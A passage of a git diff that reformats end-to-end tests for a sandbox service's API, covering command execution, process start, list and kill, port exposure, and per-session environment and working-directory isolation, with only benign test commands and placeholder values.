fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + command: 'echo "Command 1"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -212,8 +232,8 @@ describe('KeepAlive Workflow', () => { method: 'POST', headers: keepAliveHeaders, body: JSON.stringify({ - command: `echo "Command ${i}"`, - }), + command: `echo "Command ${i}"` + }) }); expect(response.status).toBe(200); @@ -228,19 +248,20 @@ describe('KeepAlive Workflow', () => { const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; // Initialize await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - path: '/workspace/test.txt', - content: 'Initial content', + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + path: '/workspace/test.txt', + content: 'Initial content' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -253,8 +274,8 @@ describe('KeepAlive Workflow', () => { headers: keepAliveHeaders, body: JSON.stringify({ path: '/workspace/test.txt', - content: 'Updated content after keepAlive', - }), + content: 'Updated content after keepAlive' + }) }); expect(writeResponse.status).toBe(200); @@ -264,8 +285,8 @@ describe('KeepAlive Workflow', () => { method: 'POST', headers: keepAliveHeaders, body: JSON.stringify({ - path: '/workspace/test.txt', - }), + path: '/workspace/test.txt' + }) }); expect(readResponse.status).toBe(200); diff --git a/tests/e2e/process-lifecycle-workflow.test.ts b/tests/e2e/process-lifecycle-workflow.test.ts index e7da6f5b..ef6730e5 100644 --- a/tests/e2e/process-lifecycle-workflow.test.ts +++ b/tests/e2e/process-lifecycle-workflow.test.ts @@ -1,10 +1,24 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; // Port exposure tests require custom domain with wildcard DNS routing // Skip these tests when running against workers.dev deployment (no wildcard support) -const skipPortExposureTests = process.env.TEST_WORKER_URL?.endsWith('.workers.dev') ?? false; +const skipPortExposureTests = + process.env.TEST_WORKER_URL?.endsWith('.workers.dev') ?? false; /** * Process Lifecycle Workflow Integration Tests @@ -59,14 +73,14 @@ describe('Process Lifecycle Workflow', () => { // Step 1: Start a simple sleep process (easier to test than a server) const startResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'sleep 30', - + async () => + fetchWithStartup(`${workerUrl}/api/process/start`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'sleep 30' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -80,10 +94,13 @@ describe('Process Lifecycle Workflow', () => { await new Promise((resolve) => setTimeout(resolve, 1000)); // Step 2: Get process status - const statusResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'GET', - headers, - }); + const statusResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'GET', + headers + } + ); expect(statusResponse.status).toBe(200); const statusData = await statusResponse.json(); @@ -91,10 +108,13 @@ describe('Process Lifecycle Workflow', () => { expect(statusData.status).toBe('running'); // Step 3: Cleanup - kill the process - const killResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'DELETE', - headers, - }); + const killResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'DELETE', + headers + } + ); expect(killResponse.status).toBe(200); }, 90000); @@ -105,14 +125,14 @@ describe('Process Lifecycle Workflow', () => { // Start 2 long-running processes const process1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'sleep 60', - + async () => + fetchWithStartup(`${workerUrl}/api/process/start`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'sleep 60' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -123,9 +143,8 @@ describe('Process Lifecycle Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'sleep 60', - - }), + command: 'sleep 60' + }) }); const process2Data = await process2Response.json(); @@ -137,7 +156,7 @@ describe('Process Lifecycle Workflow', () => { // List all processes const listResponse = await fetch(`${workerUrl}/api/process/list`, { method: 'GET', - headers, + headers }); expect(listResponse.status).toBe(200); @@ -159,11 +178,11 @@ describe('Process Lifecycle Workflow', () => { // Cleanup - kill both processes await fetch(`${workerUrl}/api/process/${process1Id}`, { method: 'DELETE', - headers, + headers }); await fetch(`${workerUrl}/api/process/${process2Id}`, { method: 'DELETE', - headers, + headers }); }, 90000); @@ -173,14 +192,14 @@ describe('Process Lifecycle Workflow', () => { // Start a process that outputs to stdout const startResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "Hello from process"', - + async () => + fetchWithStartup(`${workerUrl}/api/process/start`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "Hello from process"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -191,10 +210,13 @@ describe('Process Lifecycle Workflow', () => { await new Promise((resolve) => setTimeout(resolve, 2000)); // Get process logs - const logsResponse = await fetch(`${workerUrl}/api/process/${processId}/logs`, { - method: 'GET', - headers, - }); + const logsResponse = await fetch( + `${workerUrl}/api/process/${processId}/logs`, + { + method: 'GET', + headers + } + ); expect(logsResponse.status).toBe(200); const logsData = await logsResponse.json(); @@ -215,15 +237,15 @@ console.log("Line 3"); `.trim(); await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/script.js', - content: scriptCode, - + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/script.js', + content: scriptCode + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -232,22 +254,26 @@ console.log("Line 3"); method: 'POST', headers, body: JSON.stringify({ - command: 'bun run /workspace/script.js', - - }), + command: 'bun run /workspace/script.js' + }) }); const startData = await startResponse.json(); const processId = startData.id; // Stream logs (SSE) - const streamResponse = await fetch(`${workerUrl}/api/process/${processId}/stream`, { - method: 'GET', - headers, - }); + const streamResponse = await fetch( + `${workerUrl}/api/process/${processId}/stream`, + { + method: 'GET', + headers + } + ); expect(streamResponse.status).toBe(200); - expect(streamResponse.headers.get('content-type')).toBe('text/event-stream'); + expect(streamResponse.headers.get('content-type')).toBe( + 'text/event-stream' + ); // Collect events from the stream const reader = streamResponse.body?.getReader(); @@ -264,7 +290,9 @@ console.log("Line 3"); if (value) { const chunk = decoder.decode(value); - const lines = chunk.split('\n\n').filter((line) => line.startsWith('data: ')); + const lines = chunk + .split('\n\n') + .filter((line) => line.startsWith('data: ')); for (const line of lines) { const eventData = line.replace('data: ', ''); @@ -290,16 +318,18 @@ console.log("Line 3"); // Cleanup await fetch(`${workerUrl}/api/process/${processId}`, { method: 'DELETE', - headers, + headers }); }, 90000); - test.skipIf(skipPortExposureTests)('should expose port and verify HTTP access', async () => { - const sandboxId = createSandboxId(); - const headers = createTestHeaders(sandboxId); + test.skipIf(skipPortExposureTests)( + 'should expose port and verify HTTP access', + async () => { + const sandboxId = createSandboxId(); + const headers = createTestHeaders(sandboxId); - // Write and start a server - const serverCode = ` + // Write and start a server + const serverCode = ` const server = Bun.serve({ port: 8080, fetch(req) { @@ -313,67 +343,67 @@ const server = Bun.serve({ console.log("Server started on port 8080"); `.trim(); - await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { + await vi.waitFor( + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/app.js', + content: serverCode + }) + }), + { timeout: 90000, interval: 2000 } + ); + + // Start the server + const startResponse = await fetch(`${workerUrl}/api/process/start`, { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/app.js', - content: serverCode, - - }), - }), - { timeout: 90000, interval: 2000 } - ); - - // Start the server - const startResponse = await fetch(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'bun run /workspace/app.js', - - }), - }); - - const startData = await startResponse.json(); - const processId = startData.id; + command: 'bun run /workspace/app.js' + }) + }); - // Wait for server to start - await new Promise((resolve) => setTimeout(resolve, 3000)); + const startData = await startResponse.json(); + const processId = startData.id; - // Expose port - const exposeResponse = await fetch(`${workerUrl}/api/port/expose`, { - method: 'POST', - headers, - body: JSON.stringify({ - port: 8080, - name: 'test-server', - - }), - }); + // Wait for server to start + await new Promise((resolve) => setTimeout(resolve, 3000)); - expect(exposeResponse.status).toBe(200); - const exposeData = await exposeResponse.json(); - expect(exposeData.url).toBeTruthy(); - const previewUrl = exposeData.url; - - // Make HTTP request to preview URL - const healthResponse = await fetch(previewUrl); - expect(healthResponse.status).toBe(200); - const healthData = await healthResponse.json() as { message: string }; - expect(healthData.message).toBe('Hello from Bun!'); - - // Cleanup - unexpose port and kill process - await fetch(`${workerUrl}/api/exposed-ports/8080`, { - method: 'DELETE', - }); - - await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'DELETE', - headers, - }); - }, 90000); + // Expose port + const exposeResponse = await fetch(`${workerUrl}/api/port/expose`, { + method: 'POST', + headers, + body: JSON.stringify({ + port: 8080, + name: 'test-server' + }) + }); + + expect(exposeResponse.status).toBe(200); + const exposeData = await exposeResponse.json(); + expect(exposeData.url).toBeTruthy(); + const previewUrl = exposeData.url; + + // Make HTTP request to preview URL + const healthResponse = await fetch(previewUrl); + expect(healthResponse.status).toBe(200); + const healthData = (await healthResponse.json()) as { message: string }; + expect(healthData.message).toBe('Hello from Bun!'); + + // Cleanup - unexpose port and kill process + await fetch(`${workerUrl}/api/exposed-ports/8080`, { + method: 'DELETE' + }); + + await fetch(`${workerUrl}/api/process/${processId}`, { + method: 'DELETE', + headers + }); + }, + 90000 + ); test('should kill all processes at once', async () => { const sandboxId = createSandboxId(); @@ -383,14 +413,14 @@ console.log("Server started on port 8080"); const processes: string[] = []; for (let i = 0; i < 3; i++) { const startResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'sleep 120', - + async () => + fetchWithStartup(`${workerUrl}/api/process/start`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'sleep 120' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -404,7 +434,7 @@ console.log("Server started on port 8080"); // Verify all processes are running const listResponse = await fetch(`${workerUrl}/api/process/list`, { method: 'GET', - headers, + headers }); const listData = await listResponse.json(); expect(listData.length).toBeGreaterThanOrEqual(3); @@ -413,7 +443,7 @@ console.log("Server started on port 8080"); const killAllResponse = await fetch(`${workerUrl}/api/process/kill-all`, { method: 'POST', headers, - body: JSON.stringify({}), + body: JSON.stringify({}) }); expect(killAllResponse.status).toBe(200); @@ -423,21 +453,25 @@ console.log("Server started on port 8080"); const listAfterResponse = await fetch(`${workerUrl}/api/process/list`, { method: 'GET', - headers, + headers }); const listAfterData = await listAfterResponse.json(); // Should have fewer running processes now - const runningProcesses = listAfterData.filter((p) => p.status === 'running'); + const runningProcesses = listAfterData.filter( + (p) => p.status === 'running' + ); expect(runningProcesses.length).toBe(0); }, 90000); - test.skipIf(skipPortExposureTests)('should handle complete workflow: write โ†’ start โ†’ monitor โ†’ expose โ†’ request โ†’ cleanup', async () => { - const sandboxId = createSandboxId(); - const headers = createTestHeaders(sandboxId); + test.skipIf(skipPortExposureTests)( + 'should handle complete workflow: write โ†’ start โ†’ monitor โ†’ expose โ†’ request โ†’ cleanup', + async () => { + const sandboxId = createSandboxId(); + const headers = createTestHeaders(sandboxId); - // Complete realistic workflow - const serverCode = ` + // Complete realistic workflow + const serverCode = ` const server = Bun.serve({ port: 8080, fetch(req) { @@ -455,89 +489,100 @@ const server = Bun.serve({ console.log("Server listening on port 8080"); `.trim(); - // Step 1: Write server code - await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { + // Step 1: Write server code + await vi.waitFor( + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/health-server.js', + content: serverCode + }) + }), + { timeout: 90000, interval: 2000 } + ); + + // Step 2: Start the process + const startResponse = await fetch(`${workerUrl}/api/process/start`, { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/health-server.js', - content: serverCode, - - }), - }), - { timeout: 90000, interval: 2000 } - ); - - // Step 2: Start the process - const startResponse = await fetch(`${workerUrl}/api/process/start`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'bun run /workspace/health-server.js', - - }), - }); - - expect(startResponse.status).toBe(200); - const startData = await startResponse.json(); - const processId = startData.id; - - // Step 3: Wait and verify process is running - await new Promise((resolve) => setTimeout(resolve, 3000)); - - const statusResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'GET', - headers, - }); - - expect(statusResponse.status).toBe(200); - const statusData = await statusResponse.json(); - expect(statusData.status).toBe('running'); - - // Step 4: Expose port - const exposeResponse = await fetch(`${workerUrl}/api/port/expose`, { - method: 'POST', - headers, - body: JSON.stringify({ - port: 8080, - name: 'health-api', - - }), - }); - - expect(exposeResponse.status).toBe(200); - const exposeData = await exposeResponse.json(); - const previewUrl = exposeData.url; + command: 'bun run /workspace/health-server.js' + }) + }); + + expect(startResponse.status).toBe(200); + const startData = await startResponse.json(); + const processId = startData.id; + + // Step 3: Wait and verify process is running + await new Promise((resolve) => setTimeout(resolve, 3000)); + + const statusResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'GET', + headers + } + ); - // Step 5: Make HTTP request to health endpoint - const healthResponse = await fetch(new URL('/health', previewUrl).toString()); - expect(healthResponse.status).toBe(200); - const healthData = await healthResponse.json() as { status: string }; - expect(healthData.status).toBe('ok'); + expect(statusResponse.status).toBe(200); + const statusData = await statusResponse.json(); + expect(statusData.status).toBe('running'); - // Step 6: Get process logs - const logsResponse = await fetch(`${workerUrl}/api/process/${processId}/logs`, { - method: 'GET', - headers, - }); + // Step 4: Expose port + const exposeResponse = await fetch(`${workerUrl}/api/port/expose`, { + method: 'POST', + headers, + body: JSON.stringify({ + port: 8080, + name: 'health-api' + }) + }); + + expect(exposeResponse.status).toBe(200); + const exposeData = await exposeResponse.json(); + const previewUrl = exposeData.url; + + // Step 5: Make HTTP request to health endpoint + const healthResponse = await fetch( + new URL('/health', previewUrl).toString() + ); + expect(healthResponse.status).toBe(200); + const healthData = (await healthResponse.json()) as { status: string }; + expect(healthData.status).toBe('ok'); + + // Step 6: Get process logs + const logsResponse = await fetch( + `${workerUrl}/api/process/${processId}/logs`, + { + method: 'GET', + headers + } + ); - expect(logsResponse.status).toBe(200); - const logsData = await logsResponse.json(); - expect(logsData.stdout).toContain('Server listening on port 8080'); + expect(logsResponse.status).toBe(200); + const logsData = await logsResponse.json(); + expect(logsData.stdout).toContain('Server listening on port 8080'); - // Step 7: Cleanup - unexpose port and kill the process - await fetch(`${workerUrl}/api/exposed-ports/8080`, { - method: 'DELETE', - }); + // Step 7: Cleanup - unexpose port and kill the process + await fetch(`${workerUrl}/api/exposed-ports/8080`, { + method: 'DELETE' + }); - const killResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'DELETE', - headers, - }); + const killResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'DELETE', + headers + } + ); - expect(killResponse.status).toBe(200); - }, 120000); + expect(killResponse.status).toBe(200); + }, + 120000 + ); test('should return error when killing nonexistent process', async () => { currentSandboxId = createSandboxId(); @@ -545,70 +590,98 @@ console.log("Server listening on port 8080"); // Try to kill a process that doesn't exist const killResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/process/fake-process-id-12345`, { - method: 'DELETE', - headers, - }, { expectSuccess: false }), + async () => + fetchWithStartup( + `${workerUrl}/api/process/fake-process-id-12345`, + { + method: 'DELETE', + headers + }, + { expectSuccess: false } + ), { timeout: 90000, interval: 2000 } ); // Should return error expect(killResponse.status).toBe(500); - const errorData = await killResponse.json() as { error: string }; + const errorData = (await killResponse.json()) as { error: string }; expect(errorData.error).toBeTruthy(); - expect(errorData.error).toMatch(/not found|does not exist|invalid|unknown/i); - }, 90000); - - test.skipIf(skipPortExposureTests)('should reject exposing reserved ports', async () => { - currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); - - // Try to expose a reserved port (e.g., port 22 - SSH) - const exposeResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/port/expose`, { - method: 'POST', - headers, - body: JSON.stringify({ - port: 22, - name: 'ssh-server', - }), - }, { expectSuccess: false }), - { timeout: 90000, interval: 2000 } + expect(errorData.error).toMatch( + /not found|does not exist|invalid|unknown/i ); - - // Should return error for reserved port - expect(exposeResponse.status).toBe(500); - const errorData = await exposeResponse.json() as { error: string }; - expect(errorData.error).toBeTruthy(); - expect(errorData.error).toMatch(/reserved|not allowed|forbidden|invalid port/i); }, 90000); - test.skipIf(skipPortExposureTests)('should return error when unexposing non-exposed port', async () => { - currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + test.skipIf(skipPortExposureTests)( + 'should reject exposing reserved ports', + async () => { + currentSandboxId = createSandboxId(); + const headers = createTestHeaders(currentSandboxId); + + // Try to expose a reserved port (e.g., port 22 - SSH) + const exposeResponse = await vi.waitFor( + async () => + fetchWithStartup( + `${workerUrl}/api/port/expose`, + { + method: 'POST', + headers, + body: JSON.stringify({ + port: 22, + name: 'ssh-server' + }) + }, + { expectSuccess: false } + ), + { timeout: 90000, interval: 2000 } + ); - // Initialize sandbox first - await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "init"', - }), - }), - { timeout: 90000, interval: 2000 } - ); + // Should return error for reserved port + expect(exposeResponse.status).toBe(500); + const errorData = (await exposeResponse.json()) as { error: string }; + expect(errorData.error).toBeTruthy(); + expect(errorData.error).toMatch( + /reserved|not allowed|forbidden|invalid port/i + ); + }, + 90000 + ); + + test.skipIf(skipPortExposureTests)( + 'should return error when unexposing non-exposed port', + async () => { + currentSandboxId = createSandboxId(); + const headers = createTestHeaders(currentSandboxId); + + // Initialize sandbox first + await vi.waitFor( + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "init"' + }) + }), + { timeout: 90000, interval: 2000 } + ); - // Try to unexpose a port that was never exposed - const unexposeResponse = await fetch(`${workerUrl}/api/exposed-ports/9999`, { - method: 'DELETE', - }); + // Try to unexpose a port that was never exposed + const unexposeResponse = await fetch( + `${workerUrl}/api/exposed-ports/9999`, + { + method: 'DELETE' + } + ); - // Should return error - expect(unexposeResponse.status).toBe(500); - const errorData = await unexposeResponse.json() as { error: string }; - expect(errorData.error).toBeTruthy(); - expect(errorData.error).toMatch(/not found|not exposed|does not exist/i); - }, 90000); + // Should return error + expect(unexposeResponse.status).toBe(500); + const errorData = (await unexposeResponse.json()) as { error: string }; + expect(errorData.error).toBeTruthy(); + expect(errorData.error).toMatch( + /not found|not exposed|does not exist/i + ); + }, + 90000 + ); }); }); diff --git a/tests/e2e/session-state-isolation-workflow.test.ts b/tests/e2e/session-state-isolation-workflow.test.ts index 1b2a2109..9132e684 100644 --- a/tests/e2e/session-state-isolation-workflow.test.ts +++ b/tests/e2e/session-state-isolation-workflow.test.ts @@ -1,6 +1,19 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; /** * Session State Isolation Workflow Integration Tests @@ -51,17 +64,18 @@ describe('Session State Isolation Workflow', () => { // Create session1 with production environment const session1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({ - env: { - NODE_ENV: 'production', - API_KEY: 'prod-key-123', - DB_HOST: 'prod.example.com', - }, + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({ + env: { + NODE_ENV: 'production', + API_KEY: 'prod-key-123', + DB_HOST: 'prod.example.com' + } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -79,9 +93,9 @@ describe('Session State Isolation Workflow', () => { env: { NODE_ENV: 'test', API_KEY: 'test-key-456', - DB_HOST: 'test.example.com', - }, - }), + DB_HOST: 'test.example.com' + } + }) }); expect(session2Response.status).toBe(200); @@ -94,36 +108,40 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'echo "$NODE_ENV|$API_KEY|$DB_HOST"', - }), + command: 'echo "$NODE_ENV|$API_KEY|$DB_HOST"' + }) }); expect(exec1Response.status).toBe(200); const exec1Data = await exec1Response.json(); expect(exec1Data.success).toBe(true); - expect(exec1Data.stdout.trim()).toBe('production|prod-key-123|prod.example.com'); + expect(exec1Data.stdout.trim()).toBe( + 'production|prod-key-123|prod.example.com' + ); // Verify session2 has test environment const exec2Response = await fetch(`${workerUrl}/api/execute`, { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'echo "$NODE_ENV|$API_KEY|$DB_HOST"', - }), + command: 'echo "$NODE_ENV|$API_KEY|$DB_HOST"' + }) }); expect(exec2Response.status).toBe(200); const exec2Data = await exec2Response.json(); expect(exec2Data.success).toBe(true); - expect(exec2Data.stdout.trim()).toBe('test|test-key-456|test.example.com'); + expect(exec2Data.stdout.trim()).toBe( + 'test|test-key-456|test.example.com' + ); // Set NEW_VAR in session1 dynamically const setEnv1Response = await fetch(`${workerUrl}/api/env/set`, { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - envVars: { NEW_VAR: 'session1-only' }, - }), + envVars: { NEW_VAR: 'session1-only' } + }) }); expect(setEnv1Response.status).toBe(200); @@ -133,8 +151,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'echo $NEW_VAR', - }), + command: 'echo $NEW_VAR' + }) }); const check1Data = await check1Response.json(); @@ -145,8 +163,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'echo "VALUE:$NEW_VAR:END"', - }), + command: 'echo "VALUE:$NEW_VAR:END"' + }) }); const check2Data = await check2Response.json(); @@ -158,14 +176,15 @@ describe('Session State Isolation Workflow', () => { // Create directory structure first (using default session) await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({ - path: '/workspace/app', - recursive: true, + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({ + path: '/workspace/app', + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -174,8 +193,8 @@ describe('Session State Isolation Workflow', () => { headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ path: '/workspace/test', - recursive: true, - }), + recursive: true + }) }); await fetch(`${workerUrl}/api/file/mkdir`, { @@ -183,8 +202,8 @@ describe('Session State Isolation Workflow', () => { headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ path: '/workspace/app/src', - recursive: true, - }), + recursive: true + }) }); await fetch(`${workerUrl}/api/file/mkdir`, { @@ -192,8 +211,8 @@ describe('Session State Isolation Workflow', () => { headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ path: '/workspace/test/unit', - recursive: true, - }), + recursive: true + }) }); // Create session1 with cwd: /workspace/app @@ -201,8 +220,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ - cwd: '/workspace/app', - }), + cwd: '/workspace/app' + }) }); const session1Data = await session1Response.json(); @@ -213,8 +232,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ - cwd: '/workspace/test', - }), + cwd: '/workspace/test' + }) }); const session2Data = await session2Response.json(); @@ -225,8 +244,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'pwd', - }), + command: 'pwd' + }) }); const pwd1Data = await pwd1Response.json(); @@ -237,8 +256,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'pwd', - }), + command: 'pwd' + }) }); const pwd2Data = await pwd2Response.json(); @@ -249,8 +268,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'cd src', - }), + command: 'cd src' + }) }); // Change directory in session2 @@ -258,8 +277,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'cd unit', - }), + command: 'cd unit' + }) }); // Verify session1 is in /workspace/app/src @@ -267,8 +286,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'pwd', - }), + command: 'pwd' + }) }); const newPwd1Data = await newPwd1Response.json(); @@ -279,8 +298,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'pwd', - }), + command: 'pwd' + }) }); const newPwd2Data = await newPwd2Response.json(); @@ -292,11 +311,12 @@ describe('Session State Isolation Workflow', () => { // Create two sessions const session1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), - }), + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({}) + }), { timeout: 90000, interval: 2000 } ); @@ -306,7 +326,7 @@ describe('Session State Isolation Workflow', () => { const session2Response = await fetch(`${workerUrl}/api/session/create`, { method: 'POST', headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), + body: JSON.stringify({}) }); const session2Data = await session2Response.json(); @@ -317,8 +337,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'greet() { echo "Hello from Production"; }', - }), + command: 'greet() { echo "Hello from Production"; }' + }) }); expect(defineFunc1Response.status).toBe(200); @@ -328,8 +348,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'greet', - }), + command: 'greet' + }) }); const call1Data = await call1Response.json(); @@ -341,8 +361,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'greet', - }), + command: 'greet' + }) }); const call2Data = await call2Response.json(); @@ -354,8 +374,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'greet() { echo "Hello from Test"; }', - }), + command: 'greet() { echo "Hello from Test"; }' + }) }); // Call greet() in session2 - should use session2's definition @@ -363,8 +383,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'greet', - }), + command: 'greet' + }) }); const call3Data = await call3Response.json(); @@ -376,8 +396,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'greet', - }), + command: 'greet' + }) }); const call4Data = await call4Response.json(); @@ -389,11 +409,12 @@ describe('Session State Isolation Workflow', () => { // Create two sessions const session1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), - }), + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({}) + }), { timeout: 90000, interval: 2000 } ); @@ -403,7 +424,7 @@ describe('Session State Isolation Workflow', () => { const session2Response = await fetch(`${workerUrl}/api/session/create`, { method: 'POST', headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), + body: JSON.stringify({}) }); const session2Data = await session2Response.json(); @@ -414,8 +435,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'sleep 120', - }), + command: 'sleep 120' + }) }); expect(startResponse.status).toBe(200); @@ -423,12 +444,12 @@ describe('Session State Isolation Workflow', () => { const processId = startData.id; // Wait for process to be registered - await new Promise(resolve => 